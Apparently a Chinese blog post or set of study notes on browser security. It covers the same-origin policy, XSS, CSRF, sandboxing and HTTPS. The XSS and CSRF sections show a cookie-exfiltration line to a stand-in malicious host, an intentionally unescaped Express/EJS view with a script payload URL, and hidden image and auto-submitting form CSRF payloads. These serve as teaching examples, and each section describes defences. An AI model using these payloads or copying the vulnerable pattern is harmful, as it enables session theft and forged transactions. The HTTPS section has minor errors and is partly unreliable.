浏览器安全可以分为三个模块:Web 页面安全,浏览器网络安全和浏览器系统安全
假设我们没有安全策略,想想 web 世界会怎样?
web 世界会是开放的,任何资源都可以接入,我们网站可以加载并执行其他网站的脚本文件,图片,音视频,下载其他站点的可执行文件。这种绝对的自由,没有限制,会造成无序混乱和不可控的局面
比如打开银行站点,又打开一个恶意站点,恶意站点可以做很多事情
- 修改银行站点的 DOM,CSSDOM 信息
- 在银行站点插入 JavaScript 脚本
- 劫持用户登录的用户名和密码
- 读取银行站点的 cookie,indexDB 等数据
- 上传这些信息到自己的服务器
- 伪造转账请求等
我们需要有安全策略保障我们的隐私和数据,于是乎引出了最基础和核心的安全策略:同源策略(Same-origin policy)
同源策略:为什么 XMLHttpRequst 不能跨域请求资源
什么是同源策略
如果两个 URL 协议,域名,端口都一样,就认为他们是同源的
比如相同的 https 协议,同一个域名 www.qq.com ,以及都是 443 端口
两个同源之间可以相互访问资源和操作 DOM,不同源若想访问资源和操作 DOM,会有基础的安全策略制约,这就叫做同源策略
主要表现在 DOM,web 数据和网络三个层面
- DOM 层面,同源策略限制来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作
- 数据层面,同源策略限制不同源的站点读取当前站点的 cookie,indexDB,localStorage 等数据
- 网络层面,同源策略限制了 XMLHttpRequst 等方式把站点的数据发送给不同源的站点
安全和便利性的权衡
我们了解同源策略隔离不同源的 DOM,数据和网络通信,实现 web 页面的安全性
安全性和便利性是互相对立的,不同源之间的绝对隔离是最安全的,但是也让 web 项目难以开发使用
所以需要做出权衡,满足灵活性,出让一定的安全性
但是这有引起了很多安全问题,比如 xss 攻击 和 csrf 攻击,这两个后续会详细说下
页面可以潜入第三方资源
同源要求所有资源来自同一个源,我们 html css javascript 图片 视频等文件都要部署在同一台服务器上,这违背了 web 的初衷,也有很多限制。比如很多的资源部署到了不同的 CDN 上,CDN 资源部署在另外一个域名上
于是乎同源策略对页面的引用资源开了个小口,可以任意引用外部文件
但是,比如我们现在首页被恶意程序劫持了,劫持手段很多,最常见的是恶意程序通过各种途径往 HTML 文件插入恶意脚本
比如我们在页面插入了一段脚本,HTML 送到浏览器的时候,浏览器无法知道是恶意的文件还是正常的,页面启动的时候可以去修改用户的搜索结果,改变内容指向
也可以把页面的敏感信息通过 xss 手段发送给服务器,比如点击了一个恶意链接,恶意的 JavaScript 代码读取数据发送给服务器。比如下面这段代码
1
2
let url = `http://malicious.com?cookie = ${document.cookie}`;
open(url);
读取了 cookie,作为参数放到恶意站点尾部,服务器就能获取到用户的 cookie 信息了
为了解决 xss 引入了内容安全策略 CSP,核心思想是让服务器决定浏览器能够加载哪些资源,决定浏览器是否可以执行内联的 JavaScript 代码,大大减少了 xss 攻击
跨域资源共享和跨域文档消息机制
我们在官网 A 通过 XMLHttpRequest 请求 InfoQ 的资源,同源策略会限制我们发出请求,大大制约了生产力
我们引入了跨域资源共享(CORS),使用它进行跨域访问控制,让跨域数据传输更加安全进行
我们也说明了不同源无法互相操作 DOM,但是如果两个不同源 DOM 要通信的话,浏览器加入了跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信
总结:
- 页面可以引入第三方资源,但是暴露了比如 XSS 的安全问题,在开放的基础上引入 CSP 限制自由程度
- XMLHttpRequest 无法进行跨域请求,在这严格策略基础上引入了跨站资源共享策略
- 不同源 DOM 无法互相操纵,引入跨文档消息机制
跨站脚本攻击 XSS:为什么 cookie 中有 httpOnly 属性
什么是 XSS 攻击
XSS 全称 Cross Site Scripting,跨站脚本攻击。指的是黑客往 HTML 文件或者 DOM 注入恶意脚本,用户浏览页面的时候利用注入的恶意脚本对用户进行攻击的手段
一开始是通过跨域来实现的,所以叫跨域脚本,但是现在 HTML 文件注入恶意代码的方法越来越多,跨域注入脚本不是唯一手段了。但是名字还是一直保留
页面注入脚本,浏览器无法区分是恶意还是正常的脚本,所以恶意脚本也有各种页面权限。我们看看恶意脚本能做什么
- 窃取 cookie,通过 document.cookie 获取 cookie 信息,通过 XMLHttpRequest 或者 Fetch 加上 CORS 功能把数据发送给恶意服务器,恶意服务器拿到 cookie 信息可以在电脑上模拟登录,进行恶意操作
- 监听用户行为,比如使用 addEventListener 接口监听键盘事件,获取用户输入的信用卡信息,发到恶意浏览器,黑客又可以做很多事情了
- 修改 DOM 伪造登陆窗口,欺骗用户输入用户名和密码
- 生成浮窗广告,严重影响用户体验
注入了恶意脚本相当于页面的隐私数据完全暴露给黑客了
恶意脚本是怎么注入的
通常有 存储型 XSS 攻击,反射型 XSS 攻击,基于 DOM 的 XSS 攻击
存储型 XSS 攻击
- 黑客利用漏洞提交恶意代码到网站数据库
- 用户请求包含恶意代码的脚本页面
- 用户浏览页面的时候把 cookie 信息上传到服务器
比如喜马拉雅 2015 年专辑名字没有过滤,用户打开设置了恶意代码的专辑的时候,就会执行恶意代码了,把 cookie 上川岛黑客的服务器中,然后可以模拟登录以后做恶意操作
反射型 XSS 攻击
恶意脚本属于用户发送给网站请求的一部分,随后网站又把恶意脚本返回给用户,当恶意脚本在用户页面执行,又可以执行一些恶意操作
比如我们下面这行服务器代码:
1
2
3
4
5
6
7
8
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function (req, res, next) {
res.render('index', { title: 'Express', xss: req.query.xss });
});
module.exports = router;
而视图代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title><%= title %></title>
<link rel="stylesheet" href="/stylesheets/style.css" />
</head>
<body>
<h1><%= title %></h1>
<p>Welcome to <%= title %></p>
<div><%- xss %></div>
</body>
</html>
把 url 中 xss 参数显示在页面中,如果打开的是正常的 http://localhost:3000/?xss=123
连接,页面直接显示 123
但是如果打开的是 http://localhost:3000/?xss=<script>alert('你被xss攻击了')</script>
就会弹出来一个 你被 xss 攻击了 的提示了
用户把一些恶意的代码请交给服务器,服务器收到请求又把恶意代码反射给了浏览器,这就是 反射型 XSS 攻击
现实中黑客通过 QQ 群或者邮箱等渠道诱导用户去点击恶意链接
服务器是没有去存储这些反射型 XSS 攻击的恶意脚本的,这就是和 存储型 XSS 攻击不同的地方
基于 DOM 的 XSS 攻击
不涉及 Web 服务器,用户通过各种手段把恶意脚本注入到用户页面,比如网络劫持页面传输过程中的 HTML 页面内容(通过 Wi-Fi 路由器劫持,恶意软件劫持等等),共同点是资源在传输过程或者用户使用页面的时候修改 web 页面的数据
如何组织 XSS 攻击
存储型 XSS 和反射型 XSS 都需要经过服务器的处理,这两种可以认为是服务端的安全漏洞。
基于 DOM 的 XSS 攻击都是在浏览器端完成的,可以认为是前端的安全漏洞
但是它们都有一个共同点,需要往浏览器注入恶意脚本,通过恶意脚本运行去进行恶意操作,发送用户信息到恶意服务器
所以要怎么阻止 XSS 攻击,通过阻止恶意脚本注入和恶意消息的发送来实现
服务器对输入脚本进行过滤转码
不管反射型还是存储型,都可以在服务器对关键的字符转码和过滤,比如 code:<script>alert('你被 xss 攻击了')</script>
过滤后只剩下了 code。前端请求到的页面,脚本内容都被过滤了,前端也就不会执行了
也可以对内容进行转码,把上面的代码转码成 code:<script>alert(' 你被 xss 攻击了 ')</script>
,前端也无法执行这段代码
充分利用 CSP
严格实施 CSP 可以有效防范 XSS 攻击
- 限制还在其他域下的资源文件,比如黑客插入的不同域名脚本文件,是无法被加载的
- 禁止向第三方提交数据,用户数据也不会外露了
- 禁止内联脚本和未授权的脚本
- 提供了上报机制,尽快发现有哪些 XSS 攻击,进行修复
使用 HttpOnly 属性
很多 XSS 攻击是盗用 cookie 的,可以用 HttpOnly 属性保护我们 cookie 的安全,它是通过服务器响应头设置的,比如:
set-cookie: sid=123456; expires=Sat, 18-Apr-2020 06:52:22 GMT; path=/; domain=.google.com; HttpOnly
最后使用了 HttpOnly,这个 cookie 无法通过 document.cookie 获取,重要的数据都可以这样设置一下
总结
XSS 攻击就是黑客往页面注入恶意脚本,把重要数据上传到恶意的服务器,常见的三种是 存储型 XSS,反射型 XSS 和基于 DOM 的 XSS 攻击
他们都需要往页面注入恶意脚本,通过恶意脚本把用户数据上传到黑客的服务器
他们注入方式也不同,又通过服务器漏洞的,也有客户端直接注入的
针对这些攻击,三种主要的手段是服务器对输入的内容进行过滤或者转码,第二是利用好 CSP,第三是使用 HttpOnly 保护重要的 cookie 信息
我们也可以加入验证码防止冒充用户提交数据,一些不受信任的输入限制长度,也加大了 XSS 攻击的难度
CSRF 默认链接不要随便点击
XSS 一般是黑客注入恶意脚本,然后把用户数据上传到恶意服务器,再进行一些攻击的手段
今天来看看另外一个攻击。也是我们经常听见的,不要乱点击链接
我们看个简单的例子,某个人点了下邮件里面的链接,过几天域名被盗了
- 发起登陆邮箱的请求,返回登陆态,包括了 cookie session,在用户的浏览器中邮箱处于登陆状态
- 黑客诱导用户打开链接,比如黑客页面,编写好了一个邮箱过滤器,通过邮箱的 HTTP 设置接口设置了新的邮件过滤功能,把用户的邮箱都转发到了黑客手上
- 黑客就可以获取到相关的信息重置了域名的用户名和密码
什么是 CSRF 攻击
Cross-site request forgery,跨站请求伪造,黑客诱导用户打开黑客网站,在黑客网站中利用登陆态发起跨站 请求
简单来说就是黑客利用了用户的登陆态,通过第三方站点做坏事
用户打开了黑客的网站,有三种方式去进行 CSRF 攻击
假设有个网站有转账功能,可以通过 get 或者 post 实现转账
1
2
3
4
https://.../sendCoin
user
number
我们模拟下怎么进行 CSRF 攻击
自动发起 Get 请求
1
<img src="https://.../sendCoin?user=cody&number=100" />
这是黑客的 HTML 代码,用户的请求隐藏在 img 代码中,欺骗浏览器这是个图片。资源加载时,自动发起 img 资源请求,服务器会认为这是一个转账请求,成功完成转账
自动发起 Post 请求
1
2
3
4
5
6
7
<form method="post" action="https://.../sendCoin">
<input name="user" />
<input name="number" />
</form>
<script>
document.form.submit();
</script>
黑客隐藏了一个表单,用户打开页面以后自动提交表单数据,服务器也会执行转账操作
引导用户点击链接
除了 Get 和 Post,还有一个就是诱导用户去点击黑客链接,通常在论坛和恶意邮件中
1
2
3
<a href="https://.../sendCoin?user=cody&number=100">
<img title="有吸引力的图片"
/></a>
以上三种就是常用的方法,如果用户登录过了,以上三种都会意外的导致转账操作
CSRF 不需要恶意代码注入到页面中,利用服务器的漏洞和用户的登陆态信息就可以完成攻击
如何防止 CSRF 攻击
下面是发起 CSRF 攻击的必要条件
- 目标站点有 CSRF 漏洞
- 用户登陆过目标站点,并且在浏览器保留了登陆态信息
- 需要用户打开第三方的地址,可能是黑客网站也可能是论坛
CSRF 不会注入恶意脚本到网页中,所以用户无法获取用户的信息。
而其关键的一点是能找到网站的 CSRF 漏洞,所以我们主要的防护手段是提升服务器的安全性
避免服务器受到 CSRF 攻击一般有下面的手段
利用好 cookie 的 sameSite 属性
黑客是利用登陆态信息进行攻击的,cookie 用来记录登陆态信息,从这块下手
CSRF 都是第三方网站发起的,要防止 CSRF 攻击,最好从第三方发送请求时禁止 cookie 的发送。因为浏览器通过不同源发送请求有如下区别:
- 第三方发起的请求,需要浏览器禁止发送关键的 cookie 到服务器
- 同一个站点发起的请求,保证 cookie 的正常发送
cookie 的 sameSite 属性就是为了解决这个问题,可以有效的降低 CSRF 攻击
samesite 是怎么防止 CSRF 攻击的呢?set-cookie 的时候带上 sameSite 属性,它有三个值
- Strict 最为严格,浏览器完全禁止第三方 cookie
- Lax 相对宽松,跨站点情况下,从第三方站点打开或者点击 Get 方式的表单可以携带 cookie,但是在第三方网站进行 post 的时候,或通过 img iframe 等标签加载 URL,不携带 cookie
- None 任何情况下都会发送 cookie 数据
所以针对关键 cookie 设置 Strict 和 Lax,跨站请求的时候关键的 cookie 就不会发送到服务器,使得 CSRF 失效
验证请求的来源站点
服务器可以验证请求的来源站点,由于 CSRF 攻击一般来自第三方站点,服务器禁止来自第三方站点的请求,如何判断是第三方的站点?
需要 HTTP 头中的 Referer 和 Origin 属性
Referer 是一个请求头字段,记录 HTTP 请求的来源地址。比如我们从 A 网站打开了 B 网站,B 网站的 Referer 就是 A 网站的地址
虽然可以通过 Referer 告诉服务器请求来源,但是一些场景不适合把来源地址暴露给服务器,浏览器也提供了一个选项可以不上传 Referer 字段
在服务器验证 Referer 并不可靠,又制定了一个 Origin 属性。
在 XMLHttpRequest、Fecth 发起跨站请求的时候或者通过 post 发送请求的时候,都会带上这个属性
Origin 只包含了域名信息,没有具体的 URL 地址,这是他们两个主要的区别。
服务器优先判断 Origin,如果没有这个字段再去判断 Referer
CSRF Token
还可以采取 CSRF Token
- 浏览器向服务器请求的时候,生成一个 CSRF Token,然后植入到页面中
- 浏览器如果发起请求的话,需要带上页面的 CSRF Token,服务器校验是否合法。第三方发起的请求是无法获取到正确的 CSRF Token 的
总结
CSRF 攻击需要具备三个条件:目标站点存在漏洞,用户登陆过目标站点,黑客在第三方网站发起攻击
我们如何防范:利用好 cookie 的 sameSite 属性,验证来源站点,使用 CSRF Token,搭配使用
其实页面的安全问题主要就是同源策略开了两个小口:页面可以加载任意第三方资源,另外一个是通过 CORS 策略可以让 XMLHttpRequest 和 Fetch 去跨域请求资源
我们引入 CSP 来限制页面加载任意资源,引入 httpOnly 机制禁止 XMLHttpRequest 或者 Fetch 发送一些关键 Cookie,引入 sameSite 防止 CSRF 攻击
沙盒:页面和系统之间的隔离墙
浏览器架构如果影响到操作系统安全的
浏览器的一些漏洞如果没有及时修复被黑客利用,就比如缓冲区溢出问题,不过和 xss 攻击是不同的
- xss 只是把恶意脚本注入到网页,虽然能窃取 cookie,但是无法对系统作出攻击
- 浏览器的漏洞攻击可以入侵到浏览器进程内部,读取和修改浏览器进程内部的任意内容,穿透浏览器,在用户操作系统上安装恶意软件,监听用户键盘输入,读取硬盘内容
这类攻击无疑是非常可怕的
安全视角下的多进程架构
现代浏览器的目标是安全快速和稳定,它们在设计的时候也考虑到了这类安全问题
浏览器被划分为渲染内核和浏览器内核,浏览器内核是由网络进程,浏览器主进程和 GPU 组成的,渲染内核就是渲染进程
网络资源通过浏览器内核下载,然后资源通过 IPC 提交给渲染进程。渲染进程解析绘制这些资源,生成图片等。但是渲染进程也不负责把图片显示到页面上,最终生成的图片提交给浏览器内核模块,负责显示这张图片
化为不同的进程是为了增加稳定性,那么
- 为什么需要浏览器内核请求资源,把数据给渲染进程,而不从进程内部请求呢
- 渲染进程只负责生成图片,还要通过 IPC 通知浏览器内核,让浏览器内核来显示图片呢
我们需要从系统安全的角度来分析
安全沙盒
由于渲染进程需要解析 HTML,CSS,网络图片解码等,如果渲染进程存在系统级别的漏洞,以上操作可能让恶意站点获取到渲染进程的控制权限,进而获取操作系统的控制权限,这样非常危险
网络资源存在各种可能,浏览器默认所有资源都不可信,但是不能确保没有漏洞,出现了漏洞黑客就可以通过内容进行攻击
如果下载了一个恶意软件没有运行那是没问题的,浏览器的网络内容也是这样,浏览器安全下载各种资源,但是如果需要如解析 HTML、解析 CSS、执行 JavaScript、图片编解码等操作就需要非常小心了,否则会被黑客利用发起攻击
所以操作系统和渲染进程之间建了一道墙,渲染进程即使被漏洞攻击了,黑客也无法获取渲染进程以外的操作系统权限。这道隔离的墙就是安全沙盒
所以渲染进程无法获取和修改操作系统的数据,需要访问系统资源的时候,让浏览器内核实现,通过 IPC 转发给渲染进程
安全沙盒如何影响各个模块功能
安全沙盒最小的保护单位是进程,限制进程对操作系统数据的修改和访问,如果需要安全沙盒运行在某个进程上,这个进程不能进行读写操作系统的操作,比如读写文件,发送网络请求,调用 GPU 接口等
我们分析下渲染进程和浏览器内核各自的责任
渲染进程需要沙盒保护,内部涉及到的系统交互功能都转移到了浏览器内核来实现
安全沙盒是如何影响到各个模块的?
持久存储
安全沙盒需要渲染进程无法直接访问用户的文件系统,但是渲染进程需要访问 cookie,上传文件的需求。浏览器把这些读写文件的操作都放到了浏览器内核去实现,通过 IPC 把结果返回给渲染进程
- 浏览器内核存放了一个所有 cookie 的 cookie 数据库,渲染进程获取 cookie 的时候,通过 IPC 发送读取 cookie 的请求给浏览器内核,浏览器内核读取以后通过 IPC 返回给渲染进程
- 渲染进程无法直接访问网络,浏览器在处理 URL 地址的时候会告诉渲染进程是否有权限请求这个 URL,比如检查 XMLHttpRequest 或者 Fetch 是否是跨站点请求,HTTPS 站点中是否有 HTTP 请求
用户交互功能
通常的 UI 程序,提供了一个界面给你,运行用户与程序交互,允许程序在界面上绘制,比如 Windows 提供的是 HWND,Linux 提供的 X Window,把它们统称为窗口句柄,程序可以在上面绘制和接收键盘鼠标消息
但是因为沙盒的存在渲染进程无法操作窗口句柄,限制了渲染进程读取用户输入的消息
所以渲染进程需要有下面的改变
- 渲染进程需要渲染出位图,把这些位图发送给浏览器内核,浏览器内核再把它们绘制到屏幕上
- 操作系统没有把鼠标键盘消息传给渲染进程,直接传给了浏览器内核,浏览器内核根据浏览器的状态判断如何调度这些事件,确定是否转发给渲染进程
站点隔离
站点隔离指的是 Chrome 把同一站点(相同的跟域名和协议)放到同一个渲染进程
一开始是以标签来划分渲染进程的,但是一个标签页可能存在多个 iframe,这些 iframe 又来自不同的站点,导致不同站点的内容通过 iframe 运行在了同一个渲染进程中
所有操作系统都面临着两个 A 级漏洞——幽灵(Spectre)和熔毁(Meltdown),这两个漏洞是由处理器架构导致的,很难修补
黑客通过漏洞直接进入到进程内部,如果没有沙盒保护,可以对操作系统进行攻击
一个银行站点如果包含了恶意 iframe,黑客利用 A 级漏洞入侵渲染进程,恶意程序可以读取银行站点渲染进程内的所有内容了,这样风险很大
Chrome 于是进行了 iframe 级别的渲染进程,严格按照同一站点策略分配渲染进程,这就是 Chrome 内的站点隔离策略
这样就可以把恶意的 iframe 限制在它自己的渲染进程内,无法访问其他 iframe 的进程内容了
2019 年 10 月 20 日 Chrome 团队宣布安卓版的 Chrome 已经全面支持站点隔离
HTTPS:让数据传输更安全
网络安全协议 HTTPS
起初设计 HTTP 很简单就是传输超文本文件,没有加密的需求,所以一直是明文传输的
这样在传输过程中数据可能被窃取或者篡改,这个意味着服务器和浏览器之间还有个中间人,中间人完全掌握了你的一切通信内容
我们的 HTTP 传输内容很容易被窃取,伪造和篡改,就被叫做中间人攻击
HTTP 把数据交给了 TCP 传输后经过电脑(电脑有恶意的软件,抓去篡改 HTTP 请求内容),Wi-Fi 路由器(黑客使用的钓鱼 Wi-Fi),运营商和目标服务器,每个环节都可能被攻击。
在 HTTP 协议栈中引入安全层
我们可以在 TCP 和 HTTP 直接加入一个安全层,所有数据都要进行加密和解密
所以 HTTPS 不是一个新的协议,HTTP 直接和 TCP 交互,而 HTTPS 先和安全层交互,安全层再和 TCP 层交互,不会影响到其他。我们要去了解安全层是如何工作的
主要有两个指责:对发起 HTTP 请求的数据进行加密操作,对收到的 HTTP 请求数据进行解密操作
第一版 使用对称加密
对称加密指的是加密和解密都用相同的密钥
我们来实现第一版的 HTTPS
在两台电脑上进行加解密操作,我们需要直到密钥是什么。所以 HTTPS 发送前浏览器和服务器需要协商用的加密方法和密钥
上图知道首先需要协商加解密的方式,这是 HTTPS 建立安全连接的方法。为了让密钥难以破解,让服务器和浏览器同时决定密钥
- 浏览器发送它支持的加密套件列表(能支持的加密方法列表),和一个随机的 client-random,
- 服务器从公加密套件列表选择一个,生成一个随机的 server-random,把这两个返回给浏览器
- 浏览器和服务器分别返回确认信息
现在浏览器和服务器都有相同的 client-random 和 server-random 了,然后使用相同的方式把 client-random 和 serve-random 混合起来形成一个密钥 master secret,有了这个密钥和加密套件,就可以进行加密传输了
这里存在的问题是 client-random 和 server-random 都是明文传输的,黑客是能够拿到套件和双方的随机数,而利用随机合成密钥的方法也是公开的,黑客也能拿到密钥,还是可以破解的,使用这个密钥来窃听和伪造数据
第二版 使用非对称加密
非对称加密算法有 A,B 两把钥匙,如果你用 A 来加密,那只能用 B 来进行解密,如果用 B 来加密,只能用 A 来解密
HTTPS 里面会把其中一个密钥明文的方式传给浏览器,把这个叫做公钥,自己留下的叫做私钥。公钥谁都可以拿到,私钥只有服务器自己知道
- 浏览器发送加密套件列表给服务器
- 服务器选择一个加密套件,和公钥一起返回给浏览器
- 浏览器和服务器各自确认
那么发送数据的时候,浏览器通过公钥来加密内容,这些内容只有私钥可以解开,所以黑客即使知道了公钥和数据,也无法解开。
但是
- 非对称加密效率太低,严重影响加解密的速度,进而影响用户打开页面的速度
- 无法保证服务器发送给浏览器的数据安全:浏览器可以用公钥加密,而服务器只能用私钥加密,私钥加密只有公钥可以解开,黑客也能获取到公钥,所以也能解开,这样无法保证服务器发送的内容是安全的
第三版 对称加密和非对称加密结合
- 传输数据阶段用对称加密
- 对称加密的密钥通过非对称加密来传输
- 浏览器向服务器发送对称加密套件列表,非对称加密套件列表,和随机数 client-random
- 服务器保持 client-random,选择对称加密套件和非对称加密套件,生成随机的 server-random,向浏览器发送加密套件, server-random 和公钥
- 浏览器保持公钥,使用 client-random, server-random 计算出 pre-master,然后利用公钥对 pre-master 加密,发送加密后的数据给浏览器
- 浏览器用私钥解出 pre-master,返回确认消息
这样浏览器和服务器都有了 client-random, server-random 和 pre-master,浏览器和服务器用他们随机生成对称密钥,他们用同一套方法生成密钥,所以会是相同的
有个对称密钥双方就可以使用它来传输数据了
pre-master 是经过公钥加密的,黑客无法获取到 per-master,那么就无法生成密钥,那也无法破解传输的内容了
添加数字证书
但是还是存在问题,比如我们要打开一个正常网站,黑客劫持了 DNS 把正常网站的 IP 换成了黑客网站 IP,我们于是访问黑客网站的服务器,黑客可以去实现公钥和私钥,浏览器并不知道在访问黑客网站
于是怎么证明 我就是我 呢
比如买房子,房管局提交你的材料,银行流水,银行证明,身份证等,房管局的人确认无误以后,给你一个房产证,有你的名字,身份证,实际面积,公摊面积
我们之所以能证明房子是我的,因为有一个房管局这个权威的机构,它会给你发布一个证书
浏览器的数字证书有两个用处:
- 向浏览器证明服务器的身份
- 保护了服务器的公钥
这里主要修改了两点:
- 服务器没有直接返回公钥,而是返回了数字证书,公钥是包含在数字证书里面的
- 浏览器需要验证数字证书是否正确,然后进行后面的操作
所以我们加上了服务器认证的步骤,黑客即使伪造了服务器,证书是无法伪造的,所以无法欺骗用户
数字证书的申请验证
如何申请证书
- 准备一套公钥和密钥
- 向 CA 机构提交公钥,公司,站点信息并等待认证
- CA 通过各种方法验证信息的真实性
- 通过审核以后,发放数字证书,包括公钥,组织信息,CA 信息,有效期,证书序列号,这些是明文的,以及一个 CA 的签名
CA 使用哈希函数算法计算提交的明文信息,得出信息摘要,CA 再使用它的私钥对信息进行加密,加密后的密文就是 CA 发布的数字签名,这个是有办法去进行验证的(比如房产证的盖章是可以验证的)
浏览器如何验证数字证书
浏览器发起请求时候,服务器会返回数字证书给浏览器,浏览器会对其进行验证
首先读取相关的明文信息,使用 CA 签名时一样的哈希函数算法得到信息摘要 A,利用对应 CA 的公钥解开签名数据,得到信息摘要 B,对比信息摘要 A 和 B,如果一样的话就认为是一致合法的。同时还会验证有效时间等
这个时候验证了 CA 是谁,但是有可能 CA 比较小众,浏览器不确认是否信任,它会继续查找给这个 CA 颁布证书的 CA,再继续验证它上级 CA 的可靠性。一般浏览器会内置顶级 CA 的信息,包含了公钥。如果一直到了顶级都无法找到,会被判定为非法(。。感觉有点像原型链。。最后返回 undefined)
最后保证:
- 私钥不需要提供,自己保存
- 数字证书最核心的 CA 使用私钥来生成数字签名
- 内置 CA 对应的证书叫做根证书,最具有权威性的,为自己签名,叫做自签名证书